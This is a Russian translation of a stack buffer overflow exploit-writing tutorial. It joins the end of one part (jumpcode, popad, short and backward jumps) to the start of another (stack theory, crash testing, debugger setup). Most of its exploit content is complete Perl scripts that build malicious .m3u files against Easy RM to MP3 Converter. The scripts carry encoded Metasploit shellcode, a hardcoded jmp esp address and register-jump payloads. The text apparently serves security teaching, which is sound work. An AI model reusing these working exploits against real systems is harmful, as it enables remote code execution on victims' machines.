Второй шаг, который мы должны сделать, встроить наш jumpcode, который должен быть помещен в ESP. Цель jumpcode'а состоит в том, чтобы перейти к ESP+281 – адрес EIP.

Написать jumpcode столь же просто, как записать необходимые операторы на ассемблере, а затем перевести их в коды операций (удостоверяясь, что у нас нет никаких нулевых байтов или других ограниченных символов).

Переход к ESP+281 потребовал бы: добавить 281 в ESP регистр, и затем выполнить jump esp. 281 = 119h. Не пытайтесь поместить всё в одно действие, т.к. вы рискуете получить опкоды с нулевыми байтами.

Так как у нас есть немного пространства (из-за NOP'ов перед нашим шеллкодом), мы можем допустить небольшую погрешность. Если мы добавим 281 (либо больше), всё будет работать. У нас есть всего 50 байт для нашего jumpcode, но это не проблема.

Давайте добавим 0x5e (94) к ESP, 3 раза, и в завершении переход к esp. Команды трансляции:
add esp, 0x5e 
add esp, 0x5e 
add esp, 0x5e 
jmp esp

Используя windbg, мы можем получить код операции:



Хорошо, таким образом, код операции для всего jumpcode'а выглядит так: 0x83,0xc4,0x5e,0x83,0xc4,0x5e,0x83,0xc4,0x5e,0xff, 0xe4

#!usr/bin/perl
my $file= "test4_jumping.m3u";
my $buffersize = 26013;

my $junk= "A" x 250;
my $nop = "\x90" x 50;
my $shellcode = "\xcc";  

my $restofbuffer = "A" x ($buffersize-(length($junk)+length($nop)+length($shellcode)));

my $eip = "BBBB";
my $preshellcode = "X" x 4;
my $jumpcode = "\x83\xc4\x5e" .   #add esp,0x5e
   "\x83\xc4\x5e" .               #add esp,0x5e
   "\x83\xc4\x5e" .               #add esp,0x5e
   "\xff\xe4";                    #jmp esp

my $nop2 = "0x90" x 10;   # используется для визуальности

my $buffer = $junk.$nop.$shellcode.$restofbuffer;

print "Size of buffer : ".length($buffer)."\n";

open($FILE,">$file");
print $FILE $buffer.$eip.$preshellcode.$jumpcode;
close($FILE);
print "m3u File Created successfully\n";



jumpcode помещен в ESP. Шеллкод начинается в 000ffe80.

Завершающим этапом, который мы должны сделать, является перезапись EIP на "jmp esp". Из первой части руководства нам известно, что это может быть достигнуто через адрес 0x01def23a.

Что случится, когда произойдет переполнение?
  • - Реальный шеллкод будет помещен в первую часть строки, которая посылается, и заканчивается в ESP+300. Шеллкоду предшествует ноп-след, для подстраховки от погрешности при переходе на него.
  • - EIP будет перезаписан на 0x01def23a (указывает на инструкцию в dll, call "JMP ESP")
  • - Данные после перезаписи EIP будут содержать код перехода, который добавляет 282 к ESP, и затем переходит к нужному адресу.
  • - После того, как полезная нагрузка записана, EIP перейдет к ESP, в котором будет находиться адрес jumpcode'а, чтобы перейти к ESP+282. NOP-след и шеллкод выполняться.

Давайте добавим разрывы(брейки) и посмотрим ещё раз:

#!usr/bin/perl
my $file= "test5_jumping.m3u";
my $buffersize = 26013;

my $junk= "A" x 250;
my $nop = "\x90" x 50;
my $shellcode = "\xcc";  

my $restofbuffer = "A" x ($buffersize-(length($junk)+length($nop)+length($shellcode)));

my $eip = pack('V',0x01def23a);  

my $preshellcode = "X" x 4;
my $jumpcode = "\x83\xc4\x5e" .   #add esp,0x5e
   "\x83\xc4\x5e" .               #add esp,0x5e
   "\x83\xc4\x5e" .               #add esp,0x5e
   "\xff\xe4";                    #jmp esp

my $buffer = $junk.$nop.$shellcode.$restofbuffer;

print "Size of buffer : ".length($buffer)."\n";

open($FILE,">$file");
print $FILE $buffer.$eip.$preshellcode.$jumpcode;
close($FILE);
print "m3u File Created successfully\n";

Сгенерированный m3u файл покажет нам, что шеллкод, на месте которого разрыв(сс), попадает ровно в EIP. (EIP = 0x000ffe7c = начало shellcode).




Заменим разрыв на реальный шеллкод (и заменим A-массив NOP'ами). (из шеллкода исключили символы: 0x00, 0xff, 0xac, 0xca)

Когда вы замените A-массив NOP'ами, у вас будет больше места для попадания в область шеллкода, и таким образом, jumpcode, который переходит через 188 позиций вперед (2 раза 5e), полностью себя оправдывает

#!usr/bin/perl
my $file= "test6_jumping.m3u";
my $buffersize = 26013;

my $junk= "\x90" x 200;
my $nop = "\x90" x 50;

# windows/exec - 303 bytes
# http://www.metasploit.com
# Encoder: x86/alpha_upper
# EXITFUNC=seh, CMD=calc
my $shellcode = "\x89\xe2\xd9\xeb\xd9\x72\xf4\x5b\x53\x59\x49\x49\x49\x49" .
"\x43\x43\x43\x43\x43\x43\x51\x5a\x56\x54\x58\x33\x30\x56" .
"\x58\x34\x41\x50\x30\x41\x33\x48\x48\x30\x41\x30\x30\x41" .
"\x42\x41\x41\x42\x54\x41\x41\x51\x32\x41\x42\x32\x42\x42" .
"\x30\x42\x42\x58\x50\x38\x41\x43\x4a\x4a\x49\x4b\x4c\x4d" .
"\x38\x51\x54\x45\x50\x43\x30\x45\x50\x4c\x4b\x51\x55\x47" .
"\x4c\x4c\x4b\x43\x4c\x44\x45\x43\x48\x43\x31\x4a\x4f\x4c" .
"\x4b\x50\x4f\x45\x48\x4c\x4b\x51\x4f\x51\x30\x45\x51\x4a" .
"\x4b\x50\x49\x4c\x4b\x46\x54\x4c\x4b\x45\x51\x4a\x4e\x46" .
"\x51\x49\x50\x4a\x39\x4e\x4c\x4b\x34\x49\x50\x44\x34\x45" .
"\x57\x49\x51\x49\x5a\x44\x4d\x45\x51\x48\x42\x4a\x4b\x4c" .
"\x34\x47\x4b\x50\x54\x51\x34\x45\x54\x44\x35\x4d\x35\x4c" .
"\x4b\x51\x4f\x51\x34\x43\x31\x4a\x4b\x42\x46\x4c\x4b\x44" .
"\x4c\x50\x4b\x4c\x4b\x51\x4f\x45\x4c\x45\x51\x4a\x4b\x4c" .
"\x4b\x45\x4c\x4c\x4b\x45\x51\x4a\x4b\x4b\x39\x51\x4c\x46" .
"\x44\x45\x54\x48\x43\x51\x4f\x46\x51\x4c\x36\x43\x50\x50" .
"\x56\x43\x54\x4c\x4b\x47\x36\x46\x50\x4c\x4b\x47\x30\x44" .
"\x4c\x4c\x4b\x42\x50\x45\x4c\x4e\x4d\x4c\x4b\x43\x58\x44" .
"\x48\x4d\x59\x4c\x38\x4d\x53\x49\x50\x42\x4a\x46\x30\x45" .
"\x38\x4c\x30\x4c\x4a\x45\x54\x51\x4f\x42\x48\x4d\x48\x4b" .
"\x4e\x4d\x5a\x44\x4e\x50\x57\x4b\x4f\x4b\x57\x42\x43\x43" .
"\x51\x42\x4c\x45\x33\x45\x50\x41\x41";

my $restofbuffer = "\x90" x ($buffersize-(length($junk)+length($nop)+length($shellcode)));

my $eip = pack('V',0x01def23a);  #jmp esp from MSRMCcodec02.dll

my $preshellcode = "X" x 4; 

my $jumpcode = "\x83\xc4\x5e" .   #add esp,0x5e
   "\x83\xc4\x5e" .               #add esp,0x5e
   "\xff\xe4";                    #jmp esp

my $nop2 = "0x90" x 10;   # only used to visually separate

my $buffer = $junk.$nop.$shellcode.$restofbuffer;

print "Size of buffer : ".length($buffer)."\n";

open($FILE,">$file");
print $FILE $buffer.$eip.$preshellcode.$jumpcode;
close($FILE);
print "m3u File Created successfully\n";



pwned!

Другие способы перехода(jump).

  • - popad
  • - hardcode адрес, для перехода к…

Инструкция "popad" может помочь нам перейти к шеллкоду. popad (Pop All Double), будет доставать значения double word типа из стека (ESP) и помещать их в регистры общего назначения. Регистры загружаются в следующем порядке: EDI, ESI, EBP, EBX, EDX, ECX и EAX. В результате ESP регистр увеличится после того, как каждый из регистров будет загружен (благодаря popad). Таким образов, в одно действие popad возьмет 32 байта из ESP и аккуратно поместит их в регистрах.

Кодом операции (опкодом ) popad является 0x61

Предположим, что мы должны перепрыгнуть 40 байтов, а у нас есть только несколько байтов, чтобы сделать этот скачок, мы можем выполнить popad 2 раза, чтобы указать ESP на шеллкод, который начинает с NOP'ов (2 раза по 32 байта - 40 байтов пространства, через которое мы должны перепрыгнуть).

Мы снова воспользуемся perl-скриптом одного из примеров, и создадим поддельный(фейковый) буфер, который поместит 13 X'ов в ESP, симулирует немного мусора (D-массив и A-массив), и затем поместит наш шеллкод (NOP'ы + A-массив).

#!usr/bin/perl
my $file= "test7_popad.m3u";
my $buffersize = 26013;

my $junk= "A" x 250;
my $nop = "\x90" x 50; 
my $shellcode = "\xcc";

my $restofbuffer = "A" x ($buffersize-(length($junk)+length($nop)+length($shellcode)));

my $eip = "BBBB";
my $preshellcode = "X" x 17;  #фейковая область, которая имеется в наличии
my $garbage = "\x44" x 100;  #фейковая область, которую надо перепрыгнуть

my $buffer = $junk.$nop.$shellcode.$restofbuffer;

print "Size of buffer : ".length($buffer)."\n";

open($FILE,">$file");
print $FILE $buffer.$eip.$preshellcode.$garbage;
close($FILE);
print "m3u File Created successfully\n";

После запуска полученного файла (test7_popad.m3u), посмотрим, что в ESP:



Давайте представим, что мы должны использовать 13 X'ов (т.е. 13 байтов), которые доступны непосредственно в ESP, чтобы перепрыгнуть через область, состоящую из 100 D (\x44) и 160 A (таким образом в общей сложности 260 байтов), чтобы оказаться на нашем шеллкоде (начинается с NOP'ов, затем брейкпоинт(\xcc), и затем A-массив (=шеллкод))

Один popad = 32 байта. Так 260 байтов = 9 popad'ов (-28 байтов)

Таким образом, мы можем начать шеллкод с nop'ов, или со смещением [начало шеллкода]+28 байтов.

В нашем случае мы поместим некоторые из nop'ов перед шеллкодом, и проверим попадет ли "popad" в nop-след. Это будет видно, если приложение остановится на брейкпоинте.
Перезаписываем EIP снова на jmp esp (см. один из предыдущих эксплойтов)
Тогда, вместо X'ов, выполним 9 popad'ов, сопровождаемых опкодом "jmp esp" (0xff, 0xe4):

#!usr/bin/perl
my $file= "test8_popad_exp.m3u";
my $buffersize = 26013;

my $junk= "A" x 250;
my $nop = "\x90" x 50;
my $shellcode = "\xcc";

my $restofbuffer = "A" x ($buffersize-(length($junk)+length($nop)+length($shellcode)));

my $eip = pack('V',0x01def23a);  #jmp esp из MSRMCcodec02.dll

my $preshellcode = "X" x 4;  
$preshellcode=$preshellcode."\x61" x 9;  #9 popads
$preshellcode=$preshellcode."\xff\xe4";  #10-ый и 11-ый байты, jmp esp
$preshellcode=$preshellcode."\x90\x90\x90"; 

my $garbage = "\x44" x 100;  #мусор, который необходимо перепрыгнуть
my $buffer = $junk.$nop.$shellcode.$restofbuffer;

print "Size of buffer : ".length($buffer)."\n";

open($FILE,">$file");
print $FILE $buffer.$eip.$preshellcode.$garbage;
close($FILE);
print "m3u File Created successfully\n";

Смотрим, что получиться:



=> popad'ы сработали и записали в начало ESP nop'ы. Т.е. выполнилась инструкция "jump esp" (0xff 0xe4), и EIP прыгнув на nop-след, спустился к брейкпоинту (в 000ff7c).

Замените A-массив своим шеллкодом таким образом:

#!usr/bin/perl
my $file= "test9_real_exploit_popad.m3u";
my $buffersize = 26013;

my $junk= "A" x 250;
my $nop = "\x90" x 50;

# windows/exec - 303 bytes
# http://www.metasploit.com
# Encoder: x86/alpha_upper
# EXITFUNC=seh, CMD=calc
my $shellcode = "\x89\xe2\xd9\xeb\xd9\x72\xf4\x5b\x53\x59\x49\x49\x49\x49" .
"\x43\x43\x43\x43\x43\x43\x51\x5a\x56\x54\x58\x33\x30\x56" .
"\x58\x34\x41\x50\x30\x41\x33\x48\x48\x30\x41\x30\x30\x41" .
"\x42\x41\x41\x42\x54\x41\x41\x51\x32\x41\x42\x32\x42\x42" .
"\x30\x42\x42\x58\x50\x38\x41\x43\x4a\x4a\x49\x4b\x4c\x4d" .
"\x38\x51\x54\x45\x50\x43\x30\x45\x50\x4c\x4b\x51\x55\x47" .
"\x4c\x4c\x4b\x43\x4c\x44\x45\x43\x48\x43\x31\x4a\x4f\x4c" .
"\x4b\x50\x4f\x45\x48\x4c\x4b\x51\x4f\x51\x30\x45\x51\x4a" .
"\x4b\x50\x49\x4c\x4b\x46\x54\x4c\x4b\x45\x51\x4a\x4e\x46" .
"\x51\x49\x50\x4a\x39\x4e\x4c\x4b\x34\x49\x50\x44\x34\x45" .
"\x57\x49\x51\x49\x5a\x44\x4d\x45\x51\x48\x42\x4a\x4b\x4c" .
"\x34\x47\x4b\x50\x54\x51\x34\x45\x54\x44\x35\x4d\x35\x4c" .
"\x4b\x51\x4f\x51\x34\x43\x31\x4a\x4b\x42\x46\x4c\x4b\x44" .
"\x4c\x50\x4b\x4c\x4b\x51\x4f\x45\x4c\x45\x51\x4a\x4b\x4c" .
"\x4b\x45\x4c\x4c\x4b\x45\x51\x4a\x4b\x4b\x39\x51\x4c\x46" .
"\x44\x45\x54\x48\x43\x51\x4f\x46\x51\x4c\x36\x43\x50\x50" .
"\x56\x43\x54\x4c\x4b\x47\x36\x46\x50\x4c\x4b\x47\x30\x44" .
"\x4c\x4c\x4b\x42\x50\x45\x4c\x4e\x4d\x4c\x4b\x43\x58\x44" .
"\x48\x4d\x59\x4c\x38\x4d\x53\x49\x50\x42\x4a\x46\x30\x45" .
"\x38\x4c\x30\x4c\x4a\x45\x54\x51\x4f\x42\x48\x4d\x48\x4b" .
"\x4e\x4d\x5a\x44\x4e\x50\x57\x4b\x4f\x4b\x57\x42\x43\x43" .
"\x51\x42\x4c\x45\x33\x45\x50\x41\x41";

my $restofbuffer = "A" x ($buffersize-(length($junk)+length($nop)+length($shellcode)));

my $eip = pack('V',0x01def23a);  #jmp esp из MSRMCcodec02.dll

my $preshellcode = "X" x 4;  
$preshellcode=$preshellcode."\x61" x 9;  #9 popad'ов
$preshellcode=$preshellcode."\xff\xe4";  #10-ый и 11-ый байты, jmp esp
$preshellcode=$preshellcode."\x90\x90\x90"; 

my $garbage = "\x44" x 100;  #мусор, который необходимо перепрыгнуть
my $buffer = $junk.$nop.$shellcode.$restofbuffer;

print "Size of buffer : ".length($buffer)."\n";

open($FILE,">$file");
print $FILE $buffer.$eip.$preshellcode.$jumpcode;
close($FILE);
print "m3u File Created successfully\n";

Проверяем:



Pwned!

Другой (менее предпочтительный, но все же возможный) способ прыгнуть к шеллкоду - использовать jumpcode, который просто прыгнет к адресу (или к смещению регистра). Но так как адреса/регистры могут изменяться во время каждого выполнения программы, эта техника не будет работать каждый раз.

Значит, чтобы перейти к адресу или смещению регистра, вы должны найти opcode, который будет делать прыжок, и затем используя его в меньшем "первом" буфере, перейти к реальному шеллкоду.

Вы должны знать к настоящему времени, как найти opcode для инструкций ассемблера, таким образом я буду придерживаться 2 примеров:

1. jump to 0x12345678



2. jump to ebx+124h



=> опкоды: 0x81,0xc3,0x24,0x01,0x00,0x00 (для «add ebx 124h»), и 0xff,0xe3 (для «jmp ebx»).

Короткие и условные прыжки.

В том случае, когда вам необходимо перепрыгнуть только через несколько байтов, вы можете использовать технику "короткого скачка":
  • - короткий скачок: (jmp) - опкод 0xeb, сопровождаемый определенным числом байтов. Т.е., если Вы хотите перескочить, например, 30 байтов, опкод будет выглядеть так - 0xeb, 0x1e
  • - условный (короткий/близкий) скачок: ("скачок, если соблюдается условие") - эта техника основана на состояниях одного или нескольких флагов статуса(состояний) в регистре EFLAGS (CF,OF,PF,SF и ZF). Если флаги находятся в указанном состоянии (условном), то скачок может быть сделан к целевой инструкции, определенной операндом назначения. Эта целевая инструкция определена с относительным смещением (относительно текущего значения EIP).

Пример: предположим, что мы хотим перепрыгнуть через 6 байтов: взглянем на флаги (через отладчик – Immunity или Ollydbg). В зависимости от состояния флага, вы можете использовать один из opcod'ов(таблица ниже).

Допустим, Zero flag в состоянии 1, тогда вы можете использовать опкоде 0x74, сопровождаемый числом байтов через которые мы хотим перепрыгнуть (0x06 в нашем случае).

Это небольшая таблица с опкодами прыжков и условиями флагов:



Примечание: Вы можете найти больше/другую информацию о создании 2-байтовых скачков (передовые и обратные/отрицательные скачки) на http://www.geocities.com/thestarman3/asm/2bytejumps.htm


Обратные прыжки.

Когда вы должны выполнить прыжок назад (прыжок с отрицательным смещением): возьмите отрицательное число и преобразуйте его в Hex. Возьмите dword hex значение и используйте его, как аргумент к прыжку (\xeb или \xe9)

Пример: прыгнуть назад на 7 байтов:-7 = FFFFFFF9, таким образом, прыжок на -7 был бы представлен как "\xeb\xf9\xff\xff"

Пример: прыгнуть назад на 400 байтов: -400 = FFFFFE70, так прыжок на -400 байтов = "\xe9\x70\xfe\xff\xff".
Как видно, этот опкод из 5 байтов. Иногда (если вам требуется оставаться в пределах размера dword (4-байтовый предел)), вы должны выполнить многократные более короткие прыжки, чтобы добраться до необходимого места.

Руководство по написанию эксплойтов. Часть 1 - Стековое переполнение буфера

Автор: Peter Van Eeckhoutte (corelanc0d3r)
Перевод: p(eaZ


17 июля 2009, некто под ником ‘Crazy_Hacker’ опубликовал на packetstormsecurity.org отчет об уязвимости в утилите под названием EasyRMtoMP3Converter (под XP SP2). Данный отчет включал в себя PoC(Proof of Concept - демонстрационный) эксплойт (который, между прочим, не сработал на MS Virtual PC с XP SP3 Eng).
Отличная работа. Вы можете скопировать код эксплойта, запустить его, и убедиться, что он не работает, или… вы можете попытаться понять процесс создания эксплойта, таким образом, сможете сами исправить нерабочий эксплойт, либо написать собственный с нуля.

Примечание: если вы не любите дизассемблировать, изучать, и пытаться понять работу шеллкода, а сразу пытаетесь запустить незнакомый эксплойт (особенно, если он заранее откомпилирован), то вы сильно рискуете безопасностью собственной системы.

Вопрос в том, как писатели эксплойтов создают их? Что включает в себя процесс от обнаружения потенциальной уязвимости до написания полноценного эксплойта? И как мы можем использовать информацию о найденной уязвимости для написания своего собственного эксплойта?

Когда я разбирался с отчетом об этой уязвимости, и взглянул на эксплойт, я понял, что это идеальный пример для объяснения основ их написания. Он чист, прост и позволяет продемонстрировать некоторые из методик, которые используются для написания стабильных и полноценных эксплойтов переполнения буфера (stack buffer overflows).

Несмотря на то, что вышеупомянутый отчет об уязвимости уже включает эксплойт, мы будем использовать лишь саму информацию об уязвимости в EasyRMtoMP3Converter, и шаг за шагом напишем свой собственный рабочий эксплойт, ничего не копируя из оригинала. Напишем его с нуля, и на сей раз заставим работать под XS SP3.

Зачастую, отчеты об уязвимостях в программах содержат описание и основную информацию о самой уязвимости. В данном случае «Easy RM to MP3 Converter version 2.7.3.700 universal buffer overflow exploit that creates a malicious .m3u file». Иначе говоря, мы можем создать .m3u файл, подать его в программу, и тем самым её эксплуатировать. Такие отчеты не всегда столь информативны, но в большинстве случаев вы сможете понять то, как спровоцировать аварийный отказ, или заставить приложение вести себя нестандартно.

Проверка ошибки.

Прежде всего, давайте убедимся, что приложение действительно "падает" (crash), когда мы открываем в нём специально сформированный .m3u файл. Скачайте и установите уязвимую версию «Easy RM to MP3 Conversion Utility», под Windows XP. В отчете о данной уязвимости написано, что эксплойт работает под XP SP2 Eng, но я буду использовать XP SP3 Eng (прим. пер.: я использую XP SP3 Rus, и все адреса в дальнейшем связаны с ней).



Для получения более подробной информации, напишем следующий незамысловатый скрипт на Perl, который будет создавать специально сформированный .m3u файл:

#!usr/bin/perl
my $file= "crash.m3u";
my $junk= "\x41" x 10000;
open($FILE,">$file");
print $FILE "$junk";
close($FILE);
print "m3u File Created successfully\n";

Сохраните и запустите данный скрипт, чтобы создать .m3u файл, в который будет записано десять тысяч «А». Открыв данный файл в «Easy RM to MP3 Converter», программа сгенерирует ошибку, но правильно её обработав, продолжает выполняться. Изменив сценарий, и записав 20 тыс. «А», мы увидим тоже самое, а вот в случае с 30 тысячами, программа упадет:



Таким образом, мы определили, что приложение падает, если мы подаем ему файл, который содержит от 20 000 до 30 000 символов «А». Но что нам это даёт?

Проверив наличие ошибки, следует убедиться в её применимости.

Очевидно, что не каждый аварийный отказ в программах может быть эксплуатирован. В большинстве случаев это невозможно, но иногда удаётся. Под «эксплуатацией» (exploitation) понимается то, что приложение сможет выполнить те действия, для которых оно не предназначалось, например, выполнение вашего кода. Самый простой способ заставить приложение сделать что-либо иное заключается в переадресации его прикладного потока на ваш код. Это можно сделать, управляя EIP (указатель инструкции, или Program Counter – счетчик программы.), который является регистром процессора, и содержит в себе указатель (адрес) на команду, которая должна быть выполнена.
Представим себе, что приложение вызывает функцию с параметром. Прежде, чем войти в функцию, процессор сохранит текущее местоположение (адрес) в EIP, и таким образом он будет знать, куда возвратиться, когда функция будет завершена. Если вам удастся изменить текущее значение в EIP (размером 4 байта), и перезаписать его значением адресом памяти своего кода, то удастся изменить прикладной поток и выполнить «нечто иное». Код, который вы хотите выполнить, получив управление над потоком программы, называется шелл-кодом (shellcode). Таким образом, перезаписав 4 байта в EIP своим значением, мы получаем контроль над ходом выполнения программы.

Прежде чем продолжить – немного теории.

Каждая работающая программа в Windows использует часть памяти. Память процесса содержит 3 сегмента:

  • сегмент кода (code segment) – команды, которые выполняет процессор. EIP указывает на адрес следующей команды.
  • сегмент данных (data segment) – содержит информацию о переменных и динамических буферах.
  • сегмент стека (stack segment) – предназначен для передачи данных/параметров функциям, и используется как пространство для переменных. Начало стека – его дно. PUSHL – добавить значение в стек. POPL – вытолкнуть значение (4 байта) из стека в регистр.

Если вы хотите обратиться к памяти стека непосредственно, вы можете использовать ESP (Stack Pointer – указатель вершины стека). После помещения значения в стек (PUSH), ESP уменьшится на значение размера добавленных данных (4 байта). После POP, ESP увеличится (на 4 байта в случае адресов/указателей).

Когда функция/подпрограмма введена, создаётся и область стека для неё. Это область содержит в себе параметры функции, и используется для их передачи. К верхнему (текущему) местоположению стека можно обратиться через указатель вершины стека (ESP), а к основанию через указатель базы (EBP).

Универсальные регистры процессора (Intel x86):
EAX - (Accumulator) аккумулятор – используется для расчетов, и хранения возвращаемых значений.
EBX – (Base) база - используется для хранения данных
ECX – (Counter) счетчик - используется в итерациях(циклах). Считает вниз (вычитает).
EDX – (Data) данные – используется в более комплексных расчетах (умножение/деление над большими числами), и для сохранения промежуточных значений.
ESP – (Stack Pointer) указатель вершины стека
EBP – (Base Pointer) указатель базы (дно стека)
ESI – (String Index) хранит местоположение входных данных
EDI – (Data Index) указывает местоположение данных полученных в результате операции
EIP – указатель инструкции

Память процесса.

Когда приложение запускается в среде Win32, создается процесс и ему выделятеся виртуальная память. В 32-бинтных процессах адресное пространство начинается от 0?00000000 до 0xFFFFFFFF, где область от 0?00000000 до 0x7FFFFFFF назначается для пользовательских процессов, а область от 0?80000000 до 0xFFFFFFFF предназначена для процессов ядра системы. Windows использует модель сплошной памяти(flat memory), это значит, что центральный процессор может непосредственно/последовательно/линейно обратиться ко всем доступным местам памяти, не имея необходимость использовать схему сегментации/листания.

Когда процесс создан, также создаётся PEB (Блок Выполнения Процесса) и TEB (Блок Окружения Потока).

PEB содержит все параметры пользовательского процесса:
  • местоположение главной выполняемой программы
  • указатель/загрузчик данных (может использоваться, для перечисления всех dll/модулей, которые были/могут быть загруженными в процесс)
  • указатель на информацию о динамической памяти (heap - куче)
TEB описывает состояние потока, и включает:
  • местоположение PEB в памяти
  • местоположение потока в стеке
  • указатель на первое вхождение в SEH (см. туториал 3 и 3b, чтобы узнать больше о том, что такое SEH)
У каждого потока в процессе есть один TEB.

Карта памяти процесса Win32 выглядит следующим образом:



Cегмент .text программы или dll только для чтения, поскольку он содержит прикладной код, и это препятствует его изменению. У этого сегмента памяти установленный размер.

Сегмент .data используется для хранения глобальных, статических переменных(констант) и строк программы. Сегмент данных перезаписываем и имеет установленный размер.

Сегмент динамической памяти(heap) используется для остальной части переменных программы. Он может увеличиваться и уменьшаться. Всей памятью в куче управляет программа распределения. Динамическая память растет к более высоким адресам.

Стек

Стек - часть памяти процесса, структура данных, которая работает в режиме LIFO «Первым пришел, последним вышел». Стек распределяется операционной системой для каждого потока/процесса. Когда поток/процесс завершает работу, стек очищается. Размер стека определяется, при создании потока и не изменяется. Стек довольно быстр, но ограниченный в размере.

В LIFO-порядке новые помещаемые в стек данные (команда PUSH) являются первыми в списке, и удаляются в самом конце (команда POP).

Когда стек создан, указатель вершины стека(ESP) указывает на самый высокий адрес в стеке. Поскольку информация, помещенная в стек попадает в его вершину, то значит, что стек растет к низким адресам.

Стек содержит локальные переменные, вызовы функций и другую информацию, которая не сохраняеться для экономии времени.
Каждый раз, когда происходит вызов какой-либо функции, параметры этой функции помещаются в стек, так же, как и сохраненные значения регистров (EBP, EIP). Когда функция завершается, сохраненное значение EIP выходит из стека и помещается обратно в EIP, таким образом возобновляется поток программы.

Продемонстрируем поведение стека на примере простой программы:
#include  

void do_something(char *Buffer)
{
     char MyVar[128];
     strcpy(MyVar,Buffer);
}

int main (int argc, char **argv)
{
     do_something(argv[1]);
}

Вы можете скомпилировать этот код, при помощи C-компилятора (прим. пер.: я использовал Win32 LCC). На моей системе я назвал проект "stacktest".
Выполнение приложения: "stacktest.exe строка".

Этому приложению через параметр (argv[1]) передаётся строка, которая передается функции do_something(). В этой функции параметр сохраняется в переменную с допустимым размером 128 байтов. Так, если параметр содержит более чем 127 байт (+ нулевой байт, чтобы закончить строку), может произойти переполнение буфера.

Когда функция "do_something (param1)" вызывается из main(), происходит следующее:

Создается новая область в стеке, на вершине 'родительского' стека. Указатель вершины стека (ESP) указывает на самый высокий адрес только что созданного стека. Это - "вершина стека".



Прежде чем do_something() будет вызван, указатель на её параметр(ы) помещается в стек. В нашем случае это - указатель на argv [1].



Стек после команды mov:



Затем, происходит вызов функции do_something(). Команда CALL сначала поместит текущий указатель команды на стек (таким образом, будет известно, куда возвратиться потоку после завершения функции), и после перейдет к выполнению кода функции.

Стек после команды CALL:



В результате помещения аргумента функции в стек (PUSH), ESP уменьшиться на 4 байта (АААА), и теперь указывает на более низкий адрес.



ESP в 0022FF5C. В этом адресе мы видим сохраненный EIP (Return to…), сопровождаемый указателем на параметр (AAAA в этом примере). Этот указатель был сохранен на стеке прежде, чем выполнилась команда CALL.



Затем, функция начинает выполнение. Сохраняется указатель EBP на стек, таким образом, можно будет восстановить прежнее состояние, когда функция завершится. Команда, которая сохранит указатель области стека - "push ebp". ESP снова уменьшается на 4 байта.



После помещения EBP в стек, текущий указатель вершины стека (ESP) помещен в EBP. В той точке, и ESP и EBP указываются наверху текущего стека. На ту точку стека будут ссылаться ESP и EBP (указатель базы текущего стека). Таким образом, приложение сможет сослаться на переменные, используя смещения к EBP.

Примечание: Большинство функций начинается с этой последовательности: PUSH EBP, сопровождаемый MOV EBP, ESP

Что ж, если бы мы поместили ещё 4 байта в стек, ESP был бы снова уменьшен, а в EBP записался бы адрес, где это произошло. Мы могли бы сослаться на эти 4 байта при использовании EBP-0?8.

Далее, мы можем видеть, как объявлено/распределено пространство стека для переменной MyVar (128 байтов). В стеке имеется область, чтобы держать данные из этой переменной … ESP снова уменьшается на несколько байт. Это число байт, вероятно, будет больше чем 128, из-за подпрограммы распределения, определенной компилятором. В нашем случае это - 0?98 байт. Таким образом, мы видим команду "SUB ESP, 0?98".



Дизассемблированная функция выглядит следующим образом:

00401290 /$ 55                PUSH EBP
00401291 |. 89E5              MOV EBP,ESP
00401293 |. 81EC 98000000     SUB ESP,98
00401299 |. 8B45 08           MOV EAX,DWORD PTR SS:[EBP+8]       ; |
0040129C |. 894424 04         MOV DWORD PTR SS:[ESP+4],EAX       ; |
004012A0 |. 8D85 78FFFFFF     LEA EAX,DWORD PTR SS:[EBP-88]      ; |
004012A6 |. 890424            MOV DWORD PTR SS:[ESP],EAX         ; |
004012A9 |. E8 72050000       CALL        ; \strcpy
004012AE |. C9                LEAVE
004012AF \. C3                RETN

Вы можете видеть начало выполнения функции (PUSH EBP и MOV EBP, ESP). Также видно место, отведенное для MyVar (SUB ESP, 98), и команды MOV и LEA, которые, в основном устанавливают параметры для strcpy() - функции, берущей указатель из argv[1], для того, чтобы скопировать данные в MyVar.

Если бы здесь не было strcpy(), функция бы завершилась и "раскрутила" бы стек. Это могло бы вызвать изменение ESP в обратную сторону, к тому месту, где сохранено значение EIP, и выполнилась бы команда RET. RET, в данном случае, перейдёт к EIP, таким образом, произойдёт возвращение в главную функцию main(), правда не туда откуда произошел вызов do_something(). В завершении, произойдет выполнение команды LEAVE, которая восстановит framepointer и EIP.

В моем примере функция strcpy() есть.
Эта функция будет читать данные из адреса, пока не увидит нулевой байт (признак конца строки), на который указывает [Buffer], и сохранит их в пространстве для MyVar,. В то время, пока копируются данные, ESP находится там же. Функция strcpy() не использует команду PUSH, чтобы перемещать данные по стеку. Она читает байты, и сообщает о них стеку, используя индексы (например: ESP, ESP+1, ESP+2, и т.д). После копирования, ESP все еще находится в точке начала строки.



Это значит, что если данные в [Buffer] будут длиннее чем 0?98 байт, то функция strcpy () перезапишет ими EBP, и EIP (и так далее). Она будет совершать чтение/запись до тех пор, пока не достигнет нулевого байта в этой строке.



ESP все еще указывает на начало строки. strcpy() завершается, как будто бы все хорошо. После strcpy(), следует завершение функции. И тут становиться уже интересно. Область для корректного завершения функции перезаписана буквами «А». ESP будет двигаться обратно, до места где сохранен EIP, в котором находиться RET – выход из функции.
Таким образом, мы получим контроль над EIP.
Управляя EIP, вы можете изменить адрес возврата функции, чтобы вернуться в "нормальный поток". Если вы измените этот адрес, используя буферное переполнение, это будет уже не "нормальный поток".

Таким образом, вы можете записать поверх буфера в MyVar, EBP, EIP, много «A» (ваш собственный код) в области до и после той, где сохранено EIP. После подачи буфера ([MyVar][EBP][EIP][Ваш код]), ESP должен/будет находиться в начале [Ваш код]. Если вы сможете заставить EIP пойти в ваш код, вы получите управление над дальнейшим ходом выполнения программы.

Отладчик.

Чтобы понаблюдать за состоянием стека и значениями в регистрах, вы должны подключиться к программе при помощи отладчика.

Существует множество отладчиков подходящих под эти цели. Отладчиками, которыми я пользуюсь чаще всего, являются WinDbg, Immunity Debbuger, OllyDbg. Давайте воспользуемся WinDbg, и при установке укажите его, как стандартный в системе отладчик, используя "windbg -I".





Вы также можете отключить всплывающее сообщение «xxx столкнулся с проблемой и должен закрыться», установив в "0" ключ реестра: HKLM\Software\Microsoft\Windows NT\CurrentVersion\AeDebug\Auto



Если WinDbg будет жаловаться, что файлы символов не обнаружены, то создайте папку на жестком диске, например «C:\WinDbgSymbols», и пройдя в меню программы «"File" – "Symbol File Path"» и введите команду (без пробелов):
